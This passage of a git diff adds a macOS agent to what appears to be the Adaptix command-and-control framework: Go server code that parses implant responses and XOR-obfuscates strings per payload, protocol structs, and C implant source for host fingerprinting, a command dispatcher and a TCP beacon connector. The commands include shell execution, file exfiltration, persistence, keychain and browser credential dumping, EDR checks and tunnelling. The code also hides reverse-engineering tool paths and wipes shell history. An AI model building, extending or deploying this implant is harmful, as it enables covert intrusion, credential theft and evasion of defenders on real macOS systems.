COMMAND_TERMINAL_STOP: + task.Message = "Terminal stopped" + + default: + task.Message = "Unknown response" + task.MessageType = adaptix.MESSAGE_ERROR + } + + outTasks = append(outTasks, task) + } + + } else if inMessage.Type == 2 { + + for _, jobBytes := range inMessage.Object { + + err = msgpack.Unmarshal(jobBytes, &job) + if err != nil { + continue + } + + commandId := job.CommandId + + switch commandId { + + case COMMAND_DOWNLOAD: + var params AnsDownload + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + fileId := fmt.Sprintf("%08x", params.FileId) + + if params.Start { + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size)) + } + + _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) + + if params.Finish { + if params.Canceled { + _ = Ts.TsDownloadClose(fileId, 4) + } else { + _ = Ts.TsDownloadClose(fileId, 3) + } + } + + case COMMAND_RUN: + var params AnsRun + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + task.Completed = params.Finish + + if params.Start { + task.Completed = false + task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid) + task.ClearText = "\n" + + } else if params.Finish { + task.Message = "Process finished" + task.ClearText = "\n" + + } else { + task.Completed = false + task.Message = "" + + if len(params.Stderr) > 0 { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "Stderr:" + task.ClearText = params.Stderr + } + if len(params.Stdout) > 0 { + task.ClearText = params.Stdout + } + } + + outTasks = append(outTasks, task) + + case COMMAND_TUNNEL_START, COMMAND_TUNNEL_STOP, COMMAND_TUNNEL_PAUSE, COMMAND_TUNNEL_RESUME: + proxyTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, proxyTask) + + case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP: + termTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, termTask) + } + } + } + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) + } + + _ = job + + return nil +} + +// xorEncode XOR-encodes a plaintext string with the given key and returns +// a Go byte literal string (e.g., "\x4a\x1b\x..."). +func xorEncode(plain string, key []byte) string { + var sb strings.Builder + kl := len(key) + for i := 0; i < len(plain); i++ { + sb.WriteString(fmt.Sprintf("\\x%02x", plain[i]^key[i%kl])) + } + return sb.String() +} + +// generateObfuscatedStrings produces a Go source file that replaces hardcoded +// sensitive strings with XOR-decoded equivalents. Each payload build gets a +// unique random key, so the encoded bytes differ across payloads. +func generateObfuscatedStrings(key []byte, buildNonce []byte) string { + // Strings to obfuscate — exported function name → plaintext + strs := map[string]string{ + // opsec_darwin.go + "StrHwModel": "hw.model", + "StrKernBootargs": "kern.bootargs", + "StrAmfiBypass": "amfi_get_out_of_my_way", + "StrSandboxEnv": "APP_SANDBOX_CONTAINER_ID", + "StrHopper": "/Applications/Hopper Disassembler v4.app", + "StrIDA": "/Applications/IDA Pro.app", + "StrGhidra": "/Applications/Ghidra.app", + "StrCharles": "/Applications/Charles.app", + "StrProxyman": "/Applications/Proxyman.app", + "StrWireshark": "/Applications/Wireshark.app", + // functions_darwin.go + "StrSystemVersionPlist": "/System/Library/CoreServices/SystemVersion.plist", + "StrProductVersion": "ProductVersion", + "StrMacOS": "MacOS", + // PTY env vars + "StrHistfile": "HISTFILE=/dev/null", + "StrHistfilesize": "HISTFILESIZE=0", + "StrHistsize": "HISTSIZE=0", + "StrHistory": "HISTORY=", + "StrHistsave": "HISTSAVE=", + "StrHistzone": "HISTZONE=", + "StrHistlog": "HISTLOG=", + } + + // Key literal + var keyLit strings.Builder + keyLit.WriteString("[]byte{") + for i, b := range key { + if i > 0 { + keyLit.WriteString(", ") + } + keyLit.WriteString(fmt.Sprintf("0x%02x", b)) + } + keyLit.WriteString("}") + + // Generate source + var src strings.Builder + src.WriteString("package utils\n\n") + src.WriteString("// AUTO-GENERATED — per-payload XOR-obfuscated strings.\n") + src.WriteString("// Do not edit. Regenerated on each build.\n\n") + src.WriteString(fmt.Sprintf("var xorKey = %s\n\n", keyLit.String())) + + // Build nonce — ensures unique binary hash per payload even with identical config + var nonceLit strings.Builder + nonceLit.WriteString("[]byte{") + for i, b := range buildNonce { + if i > 0 { + nonceLit.WriteString(", ") + } + nonceLit.WriteString(fmt.Sprintf("0x%02x", b)) + } + nonceLit.WriteString("}") + src.WriteString(fmt.Sprintf("var _ = %s // build nonce\n\n", nonceLit.String())) + + // Generate accessor functions + for name, plain := range strs { + encoded := xorEncode(plain, key) + src.WriteString(fmt.Sprintf("func %s() string { return Xor([]byte(\"%s\"), xorKey) }\n", name, encoded)) + } + + return src.String() +} diff --git a/AdaptixServer/extenders/macos_agent/pl_utils.go b/AdaptixServer/extenders/macos_agent/pl_utils.go new file mode 100644 index 00000000..8abb0d3d --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/pl_utils.go @@ -0,0 +1,418 @@ +package main + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "regexp" + "strconv" +) + +/// Protocol types — msgpack structs for agent communication +/// These are COPIED from gopher_agent, not shared. +/// Any macOS-specific additions go here without affecting gopher. + +type Profile struct { + Type uint `msgpack:"type"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Message types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +/// Answer / Params structs + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type AnsScreenshots struct { + Screens [][]byte `msgpack:"screens"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +/// Phase 4 — Persistence & Post-exploitation types + +type ParamsPersist struct { + Action string `msgpack:"action"` + Method string `msgpack:"method"` + Name string `msgpack:"name"` +} + +type AnsPersist struct { + Output string `msgpack:"output"` +} + +type ParamsDefaults struct { + Domain string `msgpack:"domain"` +} + +type ParamsKeychain struct { + Action string `msgpack:"action"` +} + +type ParamsBrowserDump struct { + Browser string `msgpack:"browser"` + Target string `msgpack:"target"` +} + +/// Command codes — must match agent-side defines + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_SCREENSHOT = 16 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // macOS-specific commands (slots 21-30) + COMMAND_CLIPBOARD = 21 + COMMAND_PERSIST = 22 + COMMAND_TCC_CHECK = 23 + COMMAND_DEFAULTS = 24 + COMMAND_EDR_CHECK = 25 + COMMAND_KEYCHAIN = 26 + COMMAND_BROWSER_DUMP = 27 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 + + CALLBACK_OUTPUT = 0x0 + CALLBACK_OUTPUT_OEM = 0x1e + CALLBACK_OUTPUT_UTF8 = 0x20 + CALLBACK_ERROR = 0x0d + CALLBACK_CUSTOM = 0x1000 + CALLBACK_CUSTOM_LAST = 0x13ff + + CALLBACK_AX_SCREENSHOT = 0x81 + CALLBACK_AX_DOWNLOAD_MEM = 0x82 +) + +/// Utility functions + +func parseDurationToSeconds(input string) (int, error) { + re := regexp.MustCompile(`(\d+)(h|m|s)`) + matches := re.FindAllStringSubmatch(input, -1) + + if matches == nil { + input = input + "s" + matches = re.FindAllStringSubmatch(input, -1) + } + + totalSeconds := 0 + for _, match := range matches { + value, err := strconv.Atoi(match[1]) + if err != nil { + return 0, err + } + + switch match[2] { + case "h": + totalSeconds += value * 3600 + case "m": + totalSeconds += value * 60 + case "s": + totalSeconds += value + } + } + + return totalSeconds, nil +} + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func SizeBytesToFormat(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + GB = MB * 1024 + ) + + size := float64(bytes) + + if size >= GB { + return fmt.Sprintf("%.2f Gb", size/GB) + } else if size >= MB { + return fmt.Sprintf("%.2f Mb", size/MB) + } + return fmt.Sprintf("%.2f Kb", size/KB) +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/Makefile b/AdaptixServer/extenders/macos_agent/src_agent/Makefile new file mode 100644 index 00000000..ff1d6cd2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/Makefile @@ -0,0 +1,44 @@ +# macOS Agent (Native C) — Development Makefile +# For manual testing / validation. Production builds use pl_main.go. + +CC = aarch64-apple-darwin23.5-clang +CFLAGS = -Os -fno-stack-protector -Wall -Wextra -Wno-unused-parameter -Wno-unused-function +LDFLAGS = -lSystem -framework CoreFoundation +SRCDIR = agent +OBJDIR = obj + +SOURCES = $(SRCDIR)/main.c \ + $(SRCDIR)/crt.c \ + $(SRCDIR)/msgpack.c \ + $(SRCDIR)/crypt.c \ + $(SRCDIR)/connector.c \ + $(SRCDIR)/agent_info.c \ + $(SRCDIR)/commander.c \ + $(SRCDIR)/tasks_fs.c \ + $(SRCDIR)/tasks_proc.c \ + $(SRCDIR)/tasks_macos.c \ + $(SRCDIR)/jobs.c \ + $(SRCDIR)/tasks_async.c \ + $(SRCDIR)/tasks_net.c \ + $(SRCDIR)/dyld_resolve.c \ + $(SRCDIR)/opsec.c + +OBJECTS = $(SOURCES:$(SRCDIR)/%.c=$(OBJDIR)/%.o) +TARGET = agent_macos + +.PHONY: all clean + +all: $(TARGET) + +$(OBJDIR)/%.o: $(SRCDIR)/%.c | $(OBJDIR) + $(CC) $(CFLAGS) -I$(SRCDIR) -c $< -o $@ + +$(TARGET): $(OBJECTS) + $(CC) $(LDFLAGS) -o $@ $(OBJECTS) + @echo "Built: $@ ($$(ls -la $@ | awk '{print $$5}') bytes)" + +$(OBJDIR): + mkdir -p $(OBJDIR) + +clean: + rm -rf $(OBJDIR) $(TARGET) diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c new file mode 100644 index 00000000..229f597a --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c @@ -0,0 +1,141 @@ +#include "agent_info.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include + +// Get OS version from SystemVersion.plist (same as Go agent) +static void get_os_version(char* buf, size_t buf_size) { + // Read SystemVersion.plist and extract ProductVersion value + DEOBF(sysver_path, OBF_SYSVER_PLIST); + int fd = R_open(sysver_path, 0 /* O_RDONLY */, 0); + ZERO_STR(sysver_path, OBF_SYSVER_PLIST); + if (fd < 0) { + ax_strncpy(buf, "unknown", buf_size); + return; + } + + char plist[4096]; + ssize_t n = R_read(fd, plist, sizeof(plist) - 1); + R_close(fd); + if (n <= 0) { + ax_strncpy(buf, "unknown", buf_size); + return; + } + plist[n] = '\0'; + + // Find ProductVersionXX.X.X + const char* key = ax_strstr(plist, "ProductVersion"); + if (!key) { ax_strncpy(buf, "unknown", buf_size); return; } + const char* sopen = ax_strstr(key, ""); + if (!sopen) { ax_strncpy(buf, "unknown", buf_size); return; } + sopen += 8; // skip "" + const char* sclose = ax_strstr(sopen, ""); + if (!sclose) { ax_strncpy(buf, "unknown", buf_size); return; } + + size_t vlen = (size_t)(sclose - sopen); + if (vlen >= buf_size) vlen = buf_size - 1; + ax_memcpy(buf, sopen, vlen); + buf[vlen] = '\0'; +} + +// Get primary IPv4 address (non-loopback, non-link-local) +static void get_primary_ip(char* buf, size_t buf_size) { + buf[0] = '\0'; + struct ifaddrs* ifaddr; + if (R_getifaddrs(&ifaddr) != 0) return; + + for (struct ifaddrs* ifa = ifaddr; ifa; ifa = ifa->ifa_next) { + if (!ifa->ifa_addr) continue; + if (ifa->ifa_addr->sa_family != AF_INET) continue; + + struct sockaddr_in* sa = (struct sockaddr_in*)ifa->ifa_addr; + uint32_t addr = sa->sin_addr.s_addr; + + // Skip loopback (127.x.x.x) + if ((addr & 0xFF) == 127) continue; + // Skip link-local (169.254.x.x) + if ((addr & 0xFFFF) == 0xFEA9) continue; + + R_inet_ntop(AF_INET, &sa->sin_addr, buf, (socklen_t)buf_size); + } + + R_freeifaddrs(ifaddr); +} + +int create_session_info(mp_writer_t* w, uint8_t* session_key) { + // Generate random session key (16 bytes for AES-128) + if (ax_random_bytes(session_key, 16) != 0) return -1; + + // Gather system information + char hostname[256] = {0}; + R_gethostname(hostname, sizeof(hostname)); + + char username[256] = {0}; + struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid()); + if (pw && pw->pw_name) { + ax_strncpy(username, pw->pw_name, sizeof(username) - 1); + } + + char process[1024] = {0}; + { + // Use sysctl(KERN_PROCARGS2) instead of _NSGetExecutablePath + // to avoid direct dyld import (OPSEC: reduces IAT surface) + int mib[3] = {CTL_KERN, KERN_PROCARGS2, (int)R_getpid()}; + size_t sz = 0; + R_sysctl(mib, 3, (void*)0, &sz, (void*)0, 0); + if (sz > 0 && sz < 65536) { + uint8_t* data = (uint8_t*)ax_malloc(sz); + if (R_sysctl(mib, 3, data, &sz, (void*)0, 0) == 0 && sz > sizeof(int)) { + // Layout: [argc:4B][exec_path\0][args...] + const char* path = (const char*)(data + sizeof(int)); + // Extract basename + const char* last = path; + for (const char* p = path; *p; p++) { + if (*p == '/') last = p + 1; + } + ax_strncpy(process, last, sizeof(process) - 1); + } else { + ax_strcpy(process, "unknown"); + } + ax_free(data, sz); + } else { + ax_strcpy(process, "unknown"); + } + } + + char ip[64] = {0}; + get_primary_ip(ip, sizeof(ip)); + + char os_version[64] = {0}; + get_os_version(os_version, sizeof(os_version)); + + int pid = (int)R_getpid(); + int elevated = (R_geteuid() == 0) ? 1 : 0; + + // Write SessionInfo as msgpack map + // vmihailenco/msgpack v5 serializes in DECLARATION order (not alphabetical) + // Go struct order: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key + mp_write_map(w, 11); + + mp_write_kv_str(w, "process", process); + mp_write_kv_int(w, "pid", pid); + mp_write_kv_str(w, "user", username); + mp_write_kv_str(w, "host", hostname); + mp_write_kv_str(w, "ipaddr", ip); + mp_write_kv_bool(w, "elevated", elevated); + mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page + mp_write_kv_uint(w, "oem", 65001); + mp_write_kv_str(w, "os", "darwin"); + mp_write_kv_str(w, "os_version", os_version); + mp_write_kv_bin(w, "encrypt_key", session_key, 16); + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h new file mode 100644 index 00000000..8a863c80 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h @@ -0,0 +1,15 @@ +#ifndef AGENT_INFO_H +#define AGENT_INFO_H + +#include "msgpack.h" + +/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct +/// Also generates a random 16-byte session encryption key +/// +/// msgpack keys (alphabetical order, matching Go vmihailenco/msgpack): +/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user +/// +/// Returns 0 on success, fills session_key (16 bytes) +int create_session_info(mp_writer_t* w, uint8_t* session_key); + +#endif // AGENT_INFO_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c new file mode 100644 index 00000000..0dac1177 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c @@ -0,0 +1,114 @@ +#include "commander.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "tasks_fs.h" +#include "tasks_proc.h" +#include "tasks_macos.h" +#include "tasks_async.h" +#include "tasks_net.h" + +static int task_pwd(mp_writer_t* w); +static int task_error(mp_writer_t* w, const char* msg); + +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response) { + (void)cmd_id; + + switch (code) { + // ── Filesystem commands ── + case COMMAND_PWD: + return task_pwd(response); + case COMMAND_CD: + return task_cd(data, data_len, response); + case COMMAND_CAT: + return task_cat(data, data_len, response); + case COMMAND_LS: + return task_ls(data, data_len, response); + case COMMAND_CP: + return task_cp(data, data_len, response); + case COMMAND_MV: + return task_mv(data, data_len, response); + case COMMAND_MKDIR: + return task_mkdir(data, data_len, response); + case COMMAND_RM: + return task_rm(data, data_len, response); + case COMMAND_ZIP: + return task_zip(data, data_len, response); + + // ── Process commands ── + case COMMAND_PS: + return task_ps(response); + case COMMAND_KILL: + return task_kill(data, data_len, response); + case COMMAND_SHELL: + return task_shell(data, data_len, response); + + // ── macOS-specific commands ── + case COMMAND_SCREENSHOT: + return task_screenshot(response); + case COMMAND_CLIPBOARD: + return task_clipboard(response); + case COMMAND_PERSIST: + return task_persist(data, data_len, response); + case COMMAND_TCC_CHECK: + return task_tcc_check(response); + case COMMAND_DEFAULTS: + return task_defaults_read(data, data_len, response); + case COMMAND_EDR_CHECK: + return task_edr_check(response); + case COMMAND_KEYCHAIN: + return task_keychain(data, data_len, response); + case COMMAND_BROWSER_DUMP: + return task_browser_dump(data, data_len, response); + + // ── Control ── + case COMMAND_EXIT: + return -99; + + // ── Async/Job commands ── + case COMMAND_DOWNLOAD: + return task_download(data, data_len, response); + case COMMAND_UPLOAD: + return task_upload(data, data_len, response); + case COMMAND_RUN: + return task_run(data, data_len, response); + case COMMAND_JOB_LIST: + return task_job_list(response); + case COMMAND_JOB_KILL: + return task_job_kill(data, data_len, response); + + // ── Network commands ── + case COMMAND_TUNNEL_START: + return task_tunnel_start(data, data_len, response); + case COMMAND_TUNNEL_STOP: + return task_tunnel_stop(data, data_len, response); + case COMMAND_TUNNEL_PAUSE: + return task_tunnel_pause(data, data_len, response); + case COMMAND_TUNNEL_RESUME: + return task_tunnel_resume(data, data_len, response); + case COMMAND_TERMINAL_START: + return task_terminal_start(data, data_len, response); + case COMMAND_TERMINAL_STOP: + return task_terminal_stop(data, data_len, response); + + default: + return task_error(response, "Unknown command"); + } +} + +static int task_pwd(mp_writer_t* w) { + char cwd[4096]; + if (R_getcwd(cwd, sizeof(cwd)) == (char*)0) { + return task_error(w, "getcwd failed"); + } + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +static int task_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h new file mode 100644 index 00000000..8e12fcad --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h @@ -0,0 +1,27 @@ +#ifndef COMMANDER_H +#define COMMANDER_H + +#include "types.h" +#include "msgpack.h" + +/// Process a list of commands received from the server +/// Input: array of msgpack-encoded Command structs +/// Output: array of msgpack-encoded response buffers +/// +/// Each Command has: {code: uint, id: uint, data: []byte} +/// Response format depends on the command code + +// Process all commands from inMessage.Object +// Returns msgpack-encoded array of response buffers +// Caller must free the returned buffer +int process_commands(const uint8_t** commands, uint32_t* cmd_sizes, + uint32_t cmd_count, + buffer_t* out_responses, uint32_t* out_count); + +// Process a single command, write response to writer +// Returns 0 on success +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response); + +#endif // COMMANDER_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c new file mode 100644 index 00000000..ef303eac --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c @@ -0,0 +1,158 @@ +#include "connector.h" +#include "crt.h" +#include "dyld_resolve.h" + +#include +#include +#include +#include +#include + +// Parse "host:port" string +static int parse_address(const char* address, char* host, size_t host_len, uint16_t* port) { + const char* colon = (const char*)0; + // Find last colon (handles IPv6 in brackets) + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= host_len) return -1; + + ax_memcpy(host, address, hlen); + host[hlen] = '\0'; + + // Parse port + *port = 0; + const char* p = colon + 1; + while (*p >= '0' && *p <= '9') { + *port = *port * 10 + (*p - '0'); + p++; + } + if (*port == 0) return -1; + + return 0; +} + +int conn_open(connector_t* c, const char* address) { + char host[256]; + uint16_t port; + + if (parse_address(address, host, sizeof(host), &port) != 0) + return -1; + + // Resolve hostname + struct addrinfo hints, *result; + ax_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; // IPv4 + hints.ai_socktype = SOCK_STREAM; // TCP + + char port_str[8]; + ax_itoa(port, port_str, 10); + + if (R_getaddrinfo(host, port_str, &hints, &result) != 0) + return -1; + + // Create socket + c->fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (c->fd < 0) { + R_freeaddrinfo(result); + return -1; + } + + // Connect + if (R_connect(c->fd, result->ai_addr, result->ai_addrlen) != 0) { + R_close(c->fd); + c->fd = -1; + R_freeaddrinfo(result); + return -1; + } + + R_freeaddrinfo(result); + return 0; +} + +void conn_close(connector_t* c) { + if (c->fd >= 0) { + R_close(c->fd); + c->fd = -1; + } +} + +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) { + size_t total = 0; + while (total < size) { + ssize_t n = R_read(c->fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) { + // Read 4-byte big-endian length + uint8_t len_buf[4]; + if (conn_read_exact(c, len_buf, 4) != 0) return -1; + + uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) | + ((uint32_t)len_buf[2] << 8) | len_buf[3]; + + if (msg_len == 0) { + *data = (uint8_t*)0; + *len = 0; + return 0; + } + + // Sanity check: max 64MB + if (msg_len > 64 * 1024 * 1024) return -1; + + *data = (uint8_t*)ax_malloc(msg_len); + if (!*data) return -1; + + if (conn_read_exact(c, *data, msg_len) != 0) { + ax_free(*data, msg_len); + *data = (uint8_t*)0; + return -1; + } + + *len = msg_len; + return 0; +} + +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) { + // Write 4-byte big-endian length + data + uint8_t header[4] = { + (uint8_t)(len >> 24), (uint8_t)(len >> 16), + (uint8_t)(len >> 8), (uint8_t)len + }; + + // Send header + size_t total = 0; + while (total < 4) { + ssize_t n = R_write(c->fd, header + total, 4 - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + // Send data + total = 0; + while (total < len) { + ssize_t n = R_write(c->fd, data + total, len - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + return 0; +} + +int conn_discard(connector_t* c, size_t size) { + uint8_t tmp[1024]; + size_t remaining = size; + while (remaining > 0) { + size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp); + if (conn_read_exact(c, tmp, chunk) != 0) return -1; + remaining -= chunk; + } + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h new file mode 100644 index 00000000..8c255f4c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h @@ -0,0 +1,36 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +#include +#include + +/// TCP connector for C2 communication +/// Protocol: [4-byte BE length][payload] +/// Matches Go's functions.SendMsg/RecvMsg + +typedef struct { + int fd; +} connector_t; + +// Connect to address "host:port" via TCP +// Returns 0 on success, -1 on failure +int conn_open(connector_t* c, const char* address); + +// Close connection +void conn_close(connector_t* c); + +// Read exactly `size` bytes +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size); + +// Receive a length-prefixed message +// Allocates buffer, sets *data and *len +// Caller must free *data with ax_free(*data, *len) +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len); + +// Send a length-prefixed message +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len); + +// Read and discard `size` bytes (for banner) +int conn_discard(connector_t* c, size_t size); + +#endif // CONNECTOR_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c new file mode 100644 index 00000000..e595e169 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c @@ -0,0 +1,306 